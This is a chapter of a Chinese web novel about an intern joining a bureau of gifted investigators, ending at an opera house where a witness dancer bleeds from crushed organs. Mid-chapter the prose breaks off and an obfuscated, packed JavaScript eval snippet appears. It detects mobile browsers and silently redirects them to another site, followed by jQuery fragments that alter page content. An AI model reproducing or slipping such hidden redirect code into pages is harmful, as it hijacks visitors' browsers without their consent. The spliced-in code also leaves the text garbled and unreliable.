20. 入职培训

作品:《扣1为她摆脱必死结局

    韩楼的办公室在走出职工电梯后,左手边的第一间。


    从办公室里出来,赵晴带着歉意对傅冉笑了笑,她没有对办公室刚刚发生的事件做出解释,她也不好解释。赵晴带着傅冉来到技术信息部门,两人在职工卡办理窗口稍作停留,机器在快速扫描虹膜与天赋信息后,一张带有芯片感应的黑色职工卡诞生了。


    傅冉从赵晴手中接过,指腹下还能感受到工卡在短时间的制造过程中,还没来得及褪下的余温。


    工卡上显示着她的名字,所属部门,在工卡背面有一块方形屏幕。赵晴为她介绍,如果有督察局内部公告,会直接显示在屏幕上。


    傅冉点点头,像突然想起什么,侧身询问,“赵晴姐,我记得你是技术指挥部门的,为什么会在行动部工作?”


    赵晴为她讲解,“行动部编制特殊,由各个小组构成。每一组都固定配备一名技术指挥常驻后方,负责人员调度、数据支援与现场通讯。”


    她脚步未停,语速清晰干练,“督察局明面上分为行动部、技术部、刑侦、后勤设备、医疗救护五大部门。我们行动部主要负责外勤攻坚、高危事件处置;技术部管辖着全城数据监测、技术分析;刑侦部门负责公安维护,案件梳理、侧写与卷宗;后勤管理着所有的装备、物资与中心运转维护。”


    “医疗部门在大楼后侧方,24小时运作,并且对市民开放。主要负责急救与战后康复。”


    两人在茶水区坐下,她教傅冉如何用工卡点餐。机器人很快端来两杯拿铁,放在二人手边。傅冉看了一眼,咖啡的拉花居然是她入职公式照的Q版人物。


    傅冉与送餐的机器人对视,后者的屏幕上显示着一个“^v^”这样的表情,正下方还有一句,“欢迎加入督察局。”


    “谢谢。”傅冉对它点点头。


    “厉害吧。”赵晴笑着举起杯子,放在唇边喝下一口。


    “不过,并不是所有天赋者都愿意受编制约束,所以局里还有两个不对外公开的部门。”


    赵晴神秘的伸出两个手指。


    “编外援助与殓收组。”


    “这两个部门不受局内管辖,并且,所有注册成员都时行自愿工作制度。他们大多行踪不定,但不乏各行各业的佼佼者。”


    傅冉微微颔首,她听得很认真。短暂思考后,她适当调整自己的表情,“昨天面试中的实景模拟考核,场景冲击力太强了,我回家之后一直睡不着,眼睛一闭就是那个男人被电梯门夹断的半个身体……”


    赵晴没有打断她,耐心的等待她将心里话说出来。


    “请问,行动部的外勤死亡率很高吗?”


    眼前的实习生显然十分担忧,赵晴放下咖啡,她的神色认真而郑重。


    “我能理解你的心情,你参与的考核内容,在当时共有3名督察员丧命于那场案件。所以督察局对天赋能力者的需求是非常强烈的,当组内每多1名合格的天赋者,就能降低行动组至少8%的平均死亡率。”


    “请放心,督察局的医疗体系已经非常完善,在局长的争取下,共有三名治愈系天赋者常驻医疗部门,这在全国分局里都算得上顶配了。治愈系虽然不算是最稀有的天赋类型,但需求量极大,未来我们还会不断争取更好的医疗条件。”


    她顿了顿,语气多了几分笃定。


    “近几年,督察员年均死亡率一直在下降。我可以向你承诺,只要你还有一口气,这几位治愈师就能把你救回来。”她拍拍了傅冉的手背,“不只是简单的止血修复,治愈系的能力比人们想象的更强大,她们能做到的,是全身心疗愈与深层次的净化。”


    傅冉轻轻点头,仿佛如释重负一般,“那我就放心了。”


    体内的芯片经过温教授检测后,分析出有明显的天赋能力介入痕迹,且并不属于可能性最大的机械操控类,她唯一能想到的解决办法,就是将这股附加的外力清除,降低芯片对她的潜在威胁。而目前对天赋者所有的记录档案中,只有少数的治愈系天赋者带有净化的能力。


    她不能着急,眼下刚进入督察局,先不说头顶上宋予澜的对她的监视无孔不入。眼下还有个韩楼一直不死心的想抓住她的把柄。


    傅冉将治愈系记在心中的名单上,她需要等待一个合适的时机。


    两人回到办公区,赵晴开始带她熟悉一组日常流程。


    “行动一组主要负责:重州市中心城区高危案件、天赋者恶性犯罪、以及跨区域协查任务。以上这些事件的优先级都高于普通外勤。”


    “其中,光是群众举报的工作量就足够大家头疼的了。”


    话音未落,正遇上不远处,几名刚出外勤回来的同事。


    他们脚步匆忙,神情疲惫,经过两人身边时候还在谈论着工作,傅冉她们正好能听清谈话的内容。


    “刚送检的那具尸体真离谱,外表完好无损,脏器几乎全部受损。”


    “已经接到同类型的举报,特征完全一致。技术分析部门不排除是天赋者犯罪的可能性,组长已经从我们辖区内向上移交了。”


    偷听的两人视线微不可查一顿。


    赵晴若有所思的苦笑一声,“看来你第一天实习就要上强度了。”


    她们的终端同时震动,两人收到通知后赶回到韩楼的办公室,正撞见韩楼与展义快步走出来。


    展义跟在韩楼身后,这是他第二次见到傅冉。今早上班前,经过训练基地的时候,他犹豫了很久,还是没忍住钻进了模拟仓。即使是经历过的实景考核,他还是没办法像傅冉那样,一击制胜。


    心底难免飘过一朵挫败的乌云。他见傅冉看过来,连忙将视线转向一旁,又觉得自己好像不太友善,连正式的问候都没有。


    韩楼根本不管展义在纠结什么,看见她们便直接开口:“傅冉,跟我们走。赵晴回指挥部就位吧。”


    “收到。”


    行动部的外勤载具长期处于无人驾驶模式。


    韩楼已经收起了对傅冉的审视与戒备,至少此刻掩饰的够好。他细心的讲解出外勤时的常规流程,让她放轻松。


    傅冉坐在展义身侧,展义等她扣上安全带后,开始一番简单的自我介绍。


    “我叫展义,是B级天赋者,能力是锚点转移。”他说着,在得到傅冉的许可后,用手指在她的小臂上短暂接触了几秒。


    “这样锚点就建立成功了,接触时间越长,锚点存在的时间就越长。我可以使携带锚点的人或物品,在以我为中心的百米范围内进行转移。”


    傅冉十分捧场的感叹了一声。她对展义的印象非常深,托他的福,煮熟的鸭子都飞了。


    展义将案件细节简单通报:“死者的身份暂时未完全确认,根据目击者的举报证词,死者应该是失踪之后突然出现在剧院内。两起案件的死者共性一致:无外伤、无中毒反应、无窒息痕迹,且胸腔腹腔中脏器大面积碎裂、内出血致死。像是突然猝死,但程度上远超已知的所有急症。”


    傅冉望着窗外飞速倒退的街景,沉默听着,心底那股熟悉感越来越重。


    车辆抵达重州市歌剧院。


    建筑外观现代大气,刑侦组的同事在众人眼前放飞了勘察无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470753|201466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人机。


    门口的值守警员看见韩楼出示的证件后立刻放行。


    三人穿过前厅,通过悬浮式的导视牌,从内部通道走向舞台区域。


    空间豁然开朗,舞台正前方半包围的观众席足以容纳2000人。


    此刻的看台上穿梭着现场化验分析的督察员们。


    众人将一名身着舞蹈练功服的女演员围在中央,她坐在侧幕休息椅上,脸色苍白,眼神涣散,明显还未从惊吓中缓过神,是第一目击者。


    展义上前出示证件,傅冉配合他将围观群众遣散,只留下女演员的经理人。


    展义的语气尽量温和:“女士您好,我们是市督察局的执行人员。麻烦您跟我们再复述一遍当时的情况。”


    女人的嘴唇动了动,声音发颤。“好的。”


    “今天早上,我像往常一样来剧院排练。我到的时候,听见一阵舞鞋踏在舞台上的声音,但是剧院没有开灯,我什么都看不到,也不知道为什么有人不开灯在舞台上跳。等我开了灯后,我才发现,跳舞的那个人是之前失踪的同事。”


    “我和她是一个宿舍的。一个月前,她突然就消失了,谁都联系不上,对了,当时经理人还去督察局报警了,反正是没找到她。”


    “我一开始没认出她的,等走近了才辨别出来,可我怎么叫她,她都像听不见那样。”


    女人顿了顿,像是回忆起极其恐怖的画面,身体微微发抖:


    “她突然开始吐血,就那么站着,吐了很多血,血顺着她的嘴巴像瀑布一样流下来,从胸口到裙摆上。我从来没见过这么多血,之后,她就死在我面前。”


    女演员说到最后,四肢已经出现了发抖的状况。她的精神状态堪忧,展义没有继续提问下去。


    韩楼已经站上舞台,他皱着眉询问:“血迹已经被你们清理了吗?”


    女演员的头压得更低,“是的,因为今晚还要公演……”


    韩楼打断了她,他看向女演员的眼神简直要把“荒谬”两个字写脸上,“歌剧院需要封锁,演出必须取消。”


    女人抬起头,她还没有说什么,身侧的经理人已经站了出来。“绝对不行,今晚是集团内规模最大的公演。”


    韩楼不想跟他做无意义的争论,他已经打开终端准备下达封锁指令。


    傅冉一直安静站在一旁,她的目光落在女演员刚抬起脸上。她的妆容比较浓,遮盖了原本优越的眼部轮廓,泪痕挂在脸侧显得十分脆弱可怜。


    傅冉上前一步,她弯下腰,向她递出一块方巾。


    “谢谢。”女人接过,轻轻擦拭着眼泪。


    当她放下方巾后,手部一顿,顺手将方巾团在一起,攥在手中。


    傅冉离她很近,她看得足够清楚,眼泪将化妆品晕开后,女演员的脸上虽然看不出来,但是她擦拭眼角的方巾上,晕开了血渍。


    她向女演员张开手,“我帮你丢。”


    女演员僵硬的笑了笑,“不,不用了。”


    她的身体向后仰,抗拒着傅冉的靠近,害怕自己的异样被人发现。突然,她觉得自己的脸侧传来冰凉的质感,她低下头,一滴又一滴的血,已经从她的耳廓中流出,落在她的练功服上。


    空气在这一刻凝结,身侧的经理人已经露出了警戒的神情,不断向后退。


    女演员慌张得想要解释,她张开嘴,却无法抑制的呕出一口鲜血。


    血液里夹杂着细碎的内脏组织。


    刚刚递给她方巾的女孩,还在弯着腰看着她,漆黑的眼睛一眨不眨。


    “你还好吗?”